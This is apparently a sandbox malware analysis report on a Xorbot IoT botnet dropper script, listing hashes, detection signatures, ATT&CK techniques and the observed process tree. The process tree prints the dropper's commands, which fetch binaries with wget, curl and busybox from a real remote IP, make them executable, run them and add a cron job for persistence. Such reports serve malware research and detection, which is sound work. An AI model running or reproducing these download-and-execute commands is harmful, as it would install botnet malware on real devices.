xorbot | aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/12/2024, 13:27

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General

Target

bins.sh
Size

10KB
MD5

36919a182f443f4206a37203f13e5293
SHA1

b572eec4875252ec165d92efa9c9b40355b1812c
SHA256

aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2
SHA512

f4d9911ed7932fabcf0bef861bb72309ff52deddc97da5aff96dc45773bf9c01f9e5cf3ccf1bd73f3cdd1dd9e08942b28d03090af8713b3df29fe65ed42ec21f
SSDEEP

192:TDuJqwwpI/00tsJWqLLefXU4nj747v+H11w9ZH00tsfLLYHU4Nj747vo11w9Z9yF:TDhWqLLefnVLLYWa

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2082) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1488	chmod
1502	chmod
1509	chmod
1481	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	1482	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	1489	vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	1503	9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	1510	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Renames itself 1 IoCs

pid	Process
1511	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.hUkzsK	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/85/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1578/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1604/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1652/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/13/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1554/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1730/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1785/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1663/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1697/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1718/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/84/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/538/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1162/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1681/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1665/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/161/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1134/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1531/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1704/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1806/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/153/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/198/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1170/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1630/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1133/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1462/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1541/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1708/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/910/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1674/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1746/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1749/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1669/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1788/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/10/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/157/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1176/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1324/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1550/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1792/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1783/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/24/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/649/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1600/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1706/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/333/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1148/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/652/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1221/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1657/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1673/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1777/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/170/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1233/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1316/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1559/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/8/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1467/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1535/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/22/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1125/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1677/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/14/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	curl
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	busybox
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	wget
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	curl
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	busybox
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	wget
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	busybox
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	curl
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	busybox
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	wget
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	curl
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1464
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1465
- /usr/bin/wget
  wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:1466
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:1470
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/chmod
  chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - File and Directory Permissions Modification
  PID:1481
- /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Executes dropped EXE
  PID:1482
- /bin/rm
  rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  PID:1484
- /usr/bin/wget
  wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:1485
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/chmod
  chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Executes dropped EXE
  PID:1489
- /bin/rm
  rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  PID:1491
- /usr/bin/wget
  wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Writes file to tmp directory
  PID:1492
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Writes file to tmp directory
  PID:1493
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Executes dropped EXE
  PID:1503
- /bin/rm
  rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1510
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1512
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1513
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1514
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1515
- /bin/rm
  rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
  2⤵
  PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.hUkzsK

Filesize
210B

MD5
bdfa9dc87682e8e05ecb4b889f08bccc

SHA1
f42d46da8598393db1d71bef2a2a935fb69622ed

SHA256
dae6ae6d0a8df589d0a25deb07c015bc3805ffc8d524c1d7ac7de39f6236300e

SHA512
0a2a64c29f08061b4f05433cdfda1e3e22e3ef367b254d4f0ba6700a0f0c1d8762411530c6266a32b215a8122a0c7ef8f285439e84fa3ef65c186e378cd97516

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads